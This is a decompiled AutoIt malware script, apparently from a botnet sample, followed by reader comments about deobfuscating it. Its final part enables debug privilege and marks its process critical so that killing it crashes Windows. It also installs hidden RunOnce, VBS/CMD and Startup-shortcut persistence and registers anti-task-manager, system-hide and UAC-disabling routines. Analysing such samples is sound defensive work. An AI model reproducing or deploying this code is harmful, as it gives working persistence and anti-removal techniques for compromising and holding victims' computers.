Global Const $token_impersonate = 4 Global Const $token_query = 8 Global Const $token_query_source = 16 Global Const $token_adjust_privileges = 32 Func _winapi_getlasterror($curerr = @error, $curext = @extended) Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError") Return SetError($curerr, $curext, $aresult[0]) EndFunc Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0) Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__getlengthsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0) Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid) If @error Then Return SetError(2, @extended, 0) Return $acall[0] EndFunc Func _security__impersonateself($ilevel = $securityimpersonation) Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__isvalidsid($psid) Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__lookupaccountname($saccount, $ssystem = "") Local $tdata = DllStructCreate("byte SID[256]") Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Local $aacct[3] $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID")) $aacct[1] = $acall[5] $aacct[2] = $acall[7] Return $aacct EndFunc Func _security__lookupprivilegevalue($ssystem, $sname) Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[3] EndFunc Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False) If $hthread = 0 Then $hthread = _winapi_getcurrentthread() If @error Then Return SetError(1, @extended, 0) Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0) Return $acall[4] EndFunc Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False) Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0) If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0) $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0) EndIf Return $htoken EndFunc Func _security__setprivilege($htoken, $sprivilege, $fenable) Local $iluid = _security__lookupprivilegevalue("", $sprivilege) If $iluid = 0 Then Return SetError(1, @extended, False) Local $tcurrstate = DllStructCreate($tagtoken_privileges) Local $icurrstate = DllStructGetSize($tcurrstate) Local $tprevstate = DllStructCreate($tagtoken_privileges) Local $iprevstate = DllStructGetSize($tprevstate) Local $trequired = DllStructCreate("int Data") DllStructSetData($tcurrstate, "Count", 1) DllStructSetData($tcurrstate, "LUID", $iluid) If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False) DllStructSetData($tprevstate, "Count", 1) DllStructSetData($tprevstate, "LUID", $iluid) Local $iattributes = DllStructGetData($tprevstate, "Attributes") If $fenable Then $iattributes = BitOR($iattributes, $se_privilege_enabled) Else $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled)) EndIf DllStructSetData($tprevstate, "Attributes", $iattributes) If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False) Return True EndFunc Func _security__sidtostringsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "") Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, "") Local $pstringsid = $acall[2] Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text") _winapi_localfree($pstringsid) Return $ssid EndFunc Func _security__stringsidtosid($ssid) Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Local $psid = $acall[2] Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid) Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]") DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data")) _winapi_localfree($psid) Return $tsid EndFunc Func _winapi_closehandle($hobject) Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_createsolidbrush($ncolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_deletedc($hdc) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_deleteobject($hobject) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_fillrect($hdc, $ptrrect, $hbrush) Local $aresult If IsPtr($hbrush) Then $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush) Else $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush) EndIf If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getclassname($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, False) Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getclientrect($hwnd) Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $trect EndFunc Func _winapi_getcurrentthread() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdesktopwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getmodulehandle($smodulename) Local $smodulenametype = "wstr" If $smodulename = "" Then $smodulename = 0 $smodulenametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindow($hwnd, $icmd) Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_iswindowvisible($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_lineto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_localfree($hmem) Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_moveto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False) Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return $aresult[0] If NOT $fdebugpriv Then Return 0 Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error, @extended, 0) _security__setprivilege($htoken, "SeDebugPrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $iret = 0 If NOT @error Then $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) $ierror = @error $ilasterror = @extended If $aresult[0] Then $iret = $aresult[0] _security__setprivilege($htoken, "SeDebugPrivilege", False) If @error Then $ierror = @error $ilasterror = @extended EndIf EndIf _winapi_closehandle($htoken) Return SetError($ierror, $ilasterror, $iret) EndFunc Func __winapi_parsefiledialogpath($spath) Local $afiles[3] $afiles[0] = 2 Local $stemp = StringMid($spath, 1, StringInStr($spath, "", 0, -1) - 1) $afiles[1] = $stemp $afiles[2] = StringMid($spath, StringInStr($spath, "", 0, -1) + 1) Return $afiles EndFunc Func _winapi_releasedc($hwnd, $hdc) Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_screentoclient($hwnd, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_selectobject($hdc, $hgdiobj) Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_stringlenw($vstring) Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring) If @error Then Return SetError(1, @extended, 0) Return $acall[0] EndFunc $scriptname = "adSR.NDlzD" Func anti_hook() __bsod($scriptname, True) EndFunc $protectprocess = IniRead($uniscriptdir & "PInjcjRe.CGN", "protectprocess1", "protectprocess2", "NotFound") If $protectprocess = "protectprocess3" Then AdlibRegister("anti_hook", 500) Else EndIf Func __bsod($process_name, $bsod_status) Local Const $status_success = 0 Local Const $bsod_class = 29 Local Const $info_length = 4 Local Const $process_all_access = 2035711 Local $result, $process_handle, $process_id, $bsod_struct, $bsod_struct_ptr If NOT Call("__DEBUGE_PRIVILEGE", True) Then Return "![>] ERROR : DEBUGE PRIVILEGE OF PROCESS [ " & $process_name & " ] CAN NOT CHANGED" $process_id = ProcessExists($process_name) If $process_id = 0 Then Return "![>] ERROR : PROCESS [ " & $process_name & " ] NOT EXIST" $process_handle = _winapi_openprocess($process_all_access, True, $process_id) If @error Then Return "![>] ERROR : CAN NOT OPEN [ " & $process_name & " ] PROCESS" $bsod_struct = DllStructCreate("BOOL BSOD_STATUS") DllStructSetData($bsod_struct, "BSOD_STATUS", $bsod_status) $bsod_struct_ptr = DllStructGetPtr($bsod_struct) $result = DllCall("NTDLL.DLL", "DWORD", "NtSetInformationProcess", "HANDLE", $process_handle, "INT", $bsod_class, "PTR", $bsod_struct_ptr, "ULONG", $info_length) _winapi_closehandle($process_handle) $bsod_struct_ptr = 0 If $result[0] = $status_success Then Return "+[>] BSOD OF PROCESS [ " & $process_name & " ] CHANGED WITH NO ERROR" & @CRLF Else Return "![>] ERROR : BSOD OF PROCESS [ " & $process_name & " ] NOT CHANGED , ERROR CODE : " & Hex($result[0], 8) EndIf EndFunc Func __debuge_privilege($status) Local $htoken, $ilasterror $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error, @extended, 0) $ilasterror = _security__setprivilege($htoken, "SEDEBUGPRIVILEGE", $status) _winapi_closehandle($htoken) Return $ilasterror EndFunc OnAutoItExitRegister("exitme") Func exitme() __bsod($scriptname, False) EndFunc Local $antibotkill = IniRead($uniscriptdir & "PInjcjRe.CGN", "antibotkill-1", "antibotkill-2", "NotFound") If $antibotkill = "antibotkill-3" Then AdlibRegister("antibotkill", 1000) Else EndIf Func antibotkill() $getstart = RegRead("HKCU64SoftwareMicrosoftWindowsCurrentVersionRunOnce", $path) If $getstart = $unicode_temp & "" & $path & "53965.vbs" Then Else RegWrite("HKCU64SoftwareMicrosoftWindowsCurrentVersionRunOnce", $path, "REG_SZ", $unicode_temp & "" & $path & "53965.vbs") EndIf If NOT FileExists($unicode_temp & "" & $path & "53965.vbs") Then Local $vbs = FileOpen($unicode_temp & "" & $path & "53965.vbs", 1) FileWrite($vbs, "const Hidden = 0" & @CRLF & "const WaitOnReturn = true" & @CRLF & 'File ="""' & $unicode_temp & "" & $path & "" & '88684.cmd"""' & @CRLF & 'set WshShell = CreateObject("WScript.Shell")' & @CRLF & "WshShell.Run file, Hidden, WaitOnReturn" & @CRLF & "wscript.quit") FileClose($vbs) EndIf If NOT FileExists($unicode_temp & "" & $path & "88684.cmd") Then $autoit3 = "adSR.NDlzD" Local $bat = FileOpen($unicode_temp & "" & $path & "88684.cmd", 1) FileWrite($bat, "@echo off" & @CRLF & "cd " & $win_userprofile & $path & "" & @CRLF & "start " & $autoit3 & " " & '"' & @ScriptName & '"') FileClose($bat) EndIf If NOT FileExists($unicode_startup & "start.lnk") Then FileCreateShortcut($unicode_temp & "" & $path & "53965.vbs", $unicode_startup & "start.lnk") FileSetAttrib($unicode_startup & "start.lnk", "+SH") EndIf EndFunc Local $persistence = IniRead($uniscriptdir & "PInjcjRe.CGN", "persistence1", "persistence2", "NotFound") If $persistence = "persistence3" Then AdlibRegister("persistence", 500) Else EndIf Local $systemhide = IniRead($uniscriptdir & "PInjcjRe.CGN", "systemhide1", "systemhide2", "NotFound") If $systemhide = "systemhide3" Then AdlibRegister("systemhide", 500) Else EndIf Local $antitask = IniRead($uniscriptdir & "PInjcjRe.CGN", "antitask1", "antitask2", "NotFound") If $antitask = "antitask3" Then AdlibRegister("antitask", 500) Else EndIf Local $uac = IniRead($uniscriptdir & "PInjcjRe.CGN", "uac1", "uac2", "NotFound") If $uac = "uac3" Then AdlibRegister("disable_uac", 500) Else EndIf If $uac = "uac3" Then loop() EndIf If $systemhide = "systemhide3" Then loop() EndIf If $antitask = "antitask" Then loop() EndIf If $antibotkill = "antibotkill-3" Then loop() EndIf If $mutex = "mutex3" Then loop() EndIf If $protectprocess = "protectprocess3" Then loop() EndIf If $persistence = "persistence3" Then loop() EndIf Func loop() While 1 If FileExists($unicode_temp & "datascramblerclean.txt") Then __bsod($scriptname, False) EndIf If WinExists($path) Then bsod() Else EndIf Sleep(100) WEnd EndFunc
Anonymous - December 30, 2013 at 7:39 pm
another HF kiddy with a botnet.
Anonymous - January 30, 2014 at 11:52 am
Can you say how you decrypted to get the AutoIt script? I am pretty sure I have the same thing happening…
Anonymous - February 17, 2014 at 4:46 pm
it's not encrypted. you need to find it and remove the commented lines with notepad++ or similar to reveal the script